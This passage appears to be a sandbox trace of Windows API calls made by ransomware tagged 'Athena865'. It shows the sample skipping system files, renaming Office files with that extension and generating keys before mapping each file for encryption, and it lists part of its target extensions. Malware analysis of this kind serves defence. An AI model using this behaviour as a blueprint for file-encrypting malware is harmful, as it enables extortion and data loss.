lpString2="boot") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="ids.txt") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="ntuser.dat") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="perflogs") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="MSBuild") returned 1 [0146.622] lstrlenW (lpString="ROSE.CSS") returned 8 [0146.622] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ROSE.CSS" | out: lpString1="ROSE.CSS") returned="ROSE.CSS" [0146.622] lstrlenW (lpString="ROSE.CSS") returned 8 [0146.622] lstrlenW (lpString="Athena865") returned 9 [0146.622] lstrlenW (lpString=".dll") returned 4 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2=".dll") returned 1 [0146.622] lstrlenW (lpString=".lnk") returned 4 [0146.623] lstrcmpiW (lpString1="ROSE.CSS", lpString2=".lnk") returned 1 [0146.623] lstrlenW (lpString=".ini") returned 4 [0146.623] lstrcmpiW (lpString1="ROSE.CSS", lpString2=".ini") returned 1 [0146.623] lstrlenW (lpString=".sys") returned 4 [0146.623] lstrcmpiW (lpString1="ROSE.CSS", lpString2=".sys") returned 1 [0146.623] lstrlenW (lpString="ROSE.CSS") returned 8 [0146.623] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS.Athena865") returned 66 [0146.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css.athena865"), dwFlags=0x1) returned 1 [0146.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.625] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0146.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.626] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.626] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.626] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.626] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0146.628] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0146.629] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.629] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.629] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.630] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.630] CloseHandle (hObject=0x154) returned 1 [0146.630] CloseHandle (hObject=0x17c) returned 1 [0146.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.630] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d3a600, ftCreationTime.dwHighDateTime=0x1be1dd7, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1d3a600, ftLastWriteTime.dwHighDateTime=0x1be1dd7, nFileSizeHigh=0x0, nFileSizeLow=0xc06d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RPLBRF35.CHM", cAlternateFileName="")) returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2=".") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="..") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="windows") returned -1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="bootmgr") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="temp") returned -1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="pagefile.sys") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="boot") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="ids.txt") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="ntuser.dat") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="perflogs") returned 1 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2="MSBuild") returned 1 [0146.631] lstrlenW (lpString="RPLBRF35.CHM") returned 12 [0146.631] lstrcpyW (in: lpString1=0x241e8a8, lpString2="RPLBRF35.CHM" | out: lpString1="RPLBRF35.CHM") returned="RPLBRF35.CHM" [0146.631] lstrlenW (lpString="RPLBRF35.CHM") returned 12 [0146.631] lstrlenW (lpString="Athena865") returned 9 [0146.631] lstrcmpiW (lpString1="BRF35.CHM", lpString2="Athena865") returned 1 [0146.631] lstrlenW (lpString=".dll") returned 4 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2=".dll") returned 1 [0146.631] lstrlenW (lpString=".lnk") returned 4 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2=".lnk") returned 1 [0146.631] lstrlenW (lpString=".ini") returned 4 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2=".ini") returned 1 [0146.631] lstrlenW (lpString=".sys") returned 4 [0146.631] lstrcmpiW (lpString1="RPLBRF35.CHM", lpString2=".sys") returned 1 [0146.631] lstrlenW (lpString="RPLBRF35.CHM") returned 12 [0146.632] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM.Athena865") returned 70 [0146.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm.athena865"), dwFlags=0x1) returned 1 [0146.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.634] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49261) returned 1 [0146.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.634] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.635] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.635] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.635] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc370, lpName=0x0) returned 0x154 [0146.637] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc370) returned 0x100000 [0146.640] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.641] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.641] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.642] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.642] CloseHandle (hObject=0x154) returned 1 [0146.642] CloseHandle (hObject=0x17c) returned 1 [0146.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.643] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xbd68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAVASWEB.VSL", cAlternateFileName="")) returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2=".") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="..") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="windows") returned -1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="bootmgr") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="temp") returned -1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="pagefile.sys") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="boot") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="ids.txt") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="ntuser.dat") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="perflogs") returned 1 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2="MSBuild") returned 1 [0146.643] lstrlenW (lpString="SAVASWEB.VSL") returned 12 [0146.643] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SAVASWEB.VSL" | out: lpString1="SAVASWEB.VSL") returned="SAVASWEB.VSL" [0146.643] lstrlenW (lpString="SAVASWEB.VSL") returned 12 [0146.643] lstrlenW (lpString="Athena865") returned 9 [0146.643] lstrcmpiW (lpString1="ASWEB.VSL", lpString2="Athena865") returned -1 [0146.643] lstrlenW (lpString=".dll") returned 4 [0146.643] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2=".dll") returned 1 [0146.644] lstrlenW (lpString=".lnk") returned 4 [0146.644] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2=".lnk") returned 1 [0146.644] lstrlenW (lpString=".ini") returned 4 [0146.644] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2=".ini") returned 1 [0146.644] lstrlenW (lpString=".sys") returned 4 [0146.644] lstrcmpiW (lpString1="SAVASWEB.VSL", lpString2=".sys") returned 1 [0146.644] lstrlenW (lpString="SAVASWEB.VSL") returned 12 [0146.644] lstrlenW (lpString="bak") returned 3 [0146.644] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1 [0146.644] lstrlenW (lpString="ba_") returned 3 [0146.644] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1 [0146.644] lstrlenW (lpString="dbb") returned 3 [0146.644] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1 [0146.644] lstrlenW (lpString="vmdk") returned 4 [0146.644] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1 [0146.644] lstrlenW (lpString="rar") returned 3 [0146.644] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1 [0146.644] lstrlenW (lpString="zip") returned 3 [0146.644] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1 [0146.644] lstrlenW (lpString="tgz") returned 3 [0146.644] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1 [0146.644] lstrlenW (lpString="vbox") returned 4 [0146.644] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1 [0146.644] lstrlenW (lpString="vdi") returned 3 [0146.644] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1 [0146.644] lstrlenW (lpString="vhd") returned 3 [0146.644] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1 [0146.644] lstrlenW (lpString="vhdx") returned 4 [0146.644] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1 [0146.644] lstrlenW (lpString="avhd") returned 4 [0146.645] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1 [0146.645] lstrlenW (lpString="db") returned 2 [0146.645] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0146.645] lstrlenW (lpString="db2") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1 [0146.645] lstrlenW (lpString="db3") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1 [0146.645] lstrlenW (lpString="dbf") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1 [0146.645] lstrlenW (lpString="mdf") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1 [0146.645] lstrlenW (lpString="mdb") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1 [0146.645] lstrlenW (lpString="sql") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1 [0146.645] lstrlenW (lpString="sqlite") returned 6 [0146.645] lstrcmpiW (lpString1="EB.VSL", lpString2="sqlite") returned -1 [0146.645] lstrlenW (lpString="sqlite3") returned 7 [0146.645] lstrcmpiW (lpString1="WEB.VSL", lpString2="sqlite3") returned 1 [0146.645] lstrlenW (lpString="sqlitedb") returned 8 [0146.645] lstrcmpiW (lpString1="SWEB.VSL", lpString2="sqlitedb") returned 1 [0146.645] lstrlenW (lpString="xml") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1 [0146.645] lstrlenW (lpString="$er") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1 [0146.645] lstrlenW (lpString="4dd") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1 [0146.645] lstrlenW (lpString="4dl") returned 3 [0146.645] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1 [0146.645] lstrlenW (lpString="^^^") returned 3 [0146.646] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1 [0146.646] lstrlenW (lpString="abs") returned 3 [0146.646] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1 [0146.646] lstrlenW (lpString="abx") returned 3 [0146.646] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1 [0146.646] lstrlenW (lpString="accdb") returned 5 [0146.646] lstrcmpiW (lpString1="B.VSL", lpString2="accdb") returned 1 [0146.646] lstrlenW (lpString="accdc") returned 5 [0146.646] lstrcmpiW (lpString1="B.VSL", lpString2="accdc") returned 1 [0146.646] lstrlenW (lpString="accde") returned 5 [0146.646] lstrcmpiW (lpString1="B.VSL", lpString2="accde") returned 1 [0146.646] lstrlenW (lpString="accdr") returned 5 [0146.646] lstrcmpiW (lpString1="B.VSL", lpString2="accdr") returned 1 [0146.646] lstrlenW (lpString="accdt") returned 5 [0146.646] lstrcmpiW (lpString1="B.VSL", lpString2="accdt") returned 1 [0146.646] lstrlenW (lpString="accdw") returned 5 [0146.646] lstrcmpiW (lpString1="B.VSL", lpString2="accdw") returned 1 [0146.646] lstrlenW (lpString="accft") returned 5 [0146.646] lstrcmpiW (lpString1="B.VSL", lpString2="accft") returned 1 [0146.646] lstrlenW (lpString="adb") returned 3 [0146.646] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0146.646] lstrlenW (lpString="adb") returned 3 [0146.646] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0146.646] lstrlenW (lpString="ade") returned 3 [0146.646] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1 [0146.646] lstrlenW (lpString="adf") returned 3 [0146.646] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1 [0146.646] lstrlenW (lpString="adn") returned 3 [0146.646] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1 [0146.647] lstrlenW (lpString="adp") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1 [0146.647] lstrlenW (lpString="alf") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1 [0146.647] lstrlenW (lpString="ask") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1 [0146.647] lstrlenW (lpString="btr") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1 [0146.647] lstrlenW (lpString="cat") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1 [0146.647] lstrlenW (lpString="cdb") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1 [0146.647] lstrlenW (lpString="ckp") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1 [0146.647] lstrlenW (lpString="cma") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1 [0146.647] lstrlenW (lpString="cpd") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1 [0146.647] lstrlenW (lpString="dacpac") returned 6 [0146.647] lstrcmpiW (lpString1="EB.VSL", lpString2="dacpac") returned 1 [0146.647] lstrlenW (lpString="dad") returned 3 [0146.647] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1 [0146.647] lstrlenW (lpString="dadiagrams") returned 10 [0146.647] lstrcmpiW (lpString1="VASWEB.VSL", lpString2="dadiagrams") returned 1 [0146.647] lstrlenW (lpString="daschema") returned 8 [0146.647] lstrcmpiW (lpString1="SWEB.VSL", lpString2="daschema") returned 1 [0146.647] lstrlenW (lpString="db-journal") returned 10 [0146.647] lstrcmpiW (lpString1="VASWEB.VSL", lpString2="db-journal") returned 1 [0146.648] lstrlenW (lpString="db-shm") returned 6 [0146.648] lstrcmpiW (lpString1="EB.VSL", lpString2="db-shm") returned 1 [0146.648] lstrlenW (lpString="db-wal") returned 6 [0146.648] lstrcmpiW (lpString1="EB.VSL", lpString2="db-wal") returned 1 [0146.648] lstrlenW (lpString="dbc") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dbc") returned 1 [0146.648] lstrlenW (lpString="dbs") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dbs") returned 1 [0146.648] lstrlenW (lpString="dbt") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dbt") returned 1 [0146.648] lstrlenW (lpString="dbv") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dbv") returned 1 [0146.648] lstrlenW (lpString="dbx") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dbx") returned 1 [0146.648] lstrlenW (lpString="dcb") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dcb") returned 1 [0146.648] lstrlenW (lpString="dct") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dct") returned 1 [0146.648] lstrlenW (lpString="dcx") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dcx") returned 1 [0146.648] lstrlenW (lpString="ddl") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="ddl") returned 1 [0146.648] lstrlenW (lpString="dlis") returned 4 [0146.648] lstrcmpiW (lpString1=".VSL", lpString2="dlis") returned -1 [0146.648] lstrlenW (lpString="dp1") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dp1") returned 1 [0146.648] lstrlenW (lpString="dqy") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dqy") returned 1 [0146.648] lstrlenW (lpString="dsk") returned 3 [0146.648] lstrcmpiW (lpString1="VSL", lpString2="dsk") returned 1 [0146.649] lstrlenW (lpString="dsn") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="dsn") returned 1 [0146.649] lstrlenW (lpString="dtsx") returned 4 [0146.649] lstrcmpiW (lpString1=".VSL", lpString2="dtsx") returned -1 [0146.649] lstrlenW (lpString="dxl") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="dxl") returned 1 [0146.649] lstrlenW (lpString="eco") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="eco") returned 1 [0146.649] lstrlenW (lpString="ecx") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="ecx") returned 1 [0146.649] lstrlenW (lpString="edb") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="edb") returned 1 [0146.649] lstrlenW (lpString="epim") returned 4 [0146.649] lstrcmpiW (lpString1=".VSL", lpString2="epim") returned -1 [0146.649] lstrlenW (lpString="fcd") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="fcd") returned 1 [0146.649] lstrlenW (lpString="fdb") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="fdb") returned 1 [0146.649] lstrlenW (lpString="fic") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="fic") returned 1 [0146.649] lstrlenW (lpString="flexolibrary") returned 12 [0146.649] lstrlenW (lpString="fm5") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="fm5") returned 1 [0146.649] lstrlenW (lpString="fmp") returned 3 [0146.649] lstrcmpiW (lpString1="VSL", lpString2="fmp") returned 1 [0146.649] lstrlenW (lpString="fmp12") returned 5 [0146.649] lstrcmpiW (lpString1="B.VSL", lpString2="fmp12") returned -1 [0146.649] lstrlenW (lpString="fmpsl") returned 5 [0146.649] lstrcmpiW (lpString1="B.VSL", lpString2="fmpsl") returned -1 [0146.649] lstrlenW (lpString="fol") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="fol") returned 1 [0146.650] lstrlenW (lpString="fp3") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="fp3") returned 1 [0146.650] lstrlenW (lpString="fp4") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="fp4") returned 1 [0146.650] lstrlenW (lpString="fp5") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="fp5") returned 1 [0146.650] lstrlenW (lpString="fp7") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="fp7") returned 1 [0146.650] lstrlenW (lpString="fpt") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="fpt") returned 1 [0146.650] lstrlenW (lpString="frm") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="frm") returned 1 [0146.650] lstrlenW (lpString="gdb") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0146.650] lstrlenW (lpString="gdb") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0146.650] lstrlenW (lpString="grdb") returned 4 [0146.650] lstrcmpiW (lpString1=".VSL", lpString2="grdb") returned -1 [0146.650] lstrlenW (lpString="gwi") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="gwi") returned 1 [0146.650] lstrlenW (lpString="hdb") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="hdb") returned 1 [0146.650] lstrlenW (lpString="his") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="his") returned 1 [0146.650] lstrlenW (lpString="ib") returned 2 [0146.650] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0146.650] lstrlenW (lpString="idb") returned 3 [0146.650] lstrcmpiW (lpString1="VSL", lpString2="idb") returned 1 [0146.651] lstrlenW (lpString="ihx") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="ihx") returned 1 [0146.651] lstrlenW (lpString="itdb") returned 4 [0146.651] lstrcmpiW (lpString1=".VSL", lpString2="itdb") returned -1 [0146.651] lstrlenW (lpString="itw") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="itw") returned 1 [0146.651] lstrlenW (lpString="jet") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="jet") returned 1 [0146.651] lstrlenW (lpString="jtx") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="jtx") returned 1 [0146.651] lstrlenW (lpString="kdb") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="kdb") returned 1 [0146.651] lstrlenW (lpString="kexi") returned 4 [0146.651] 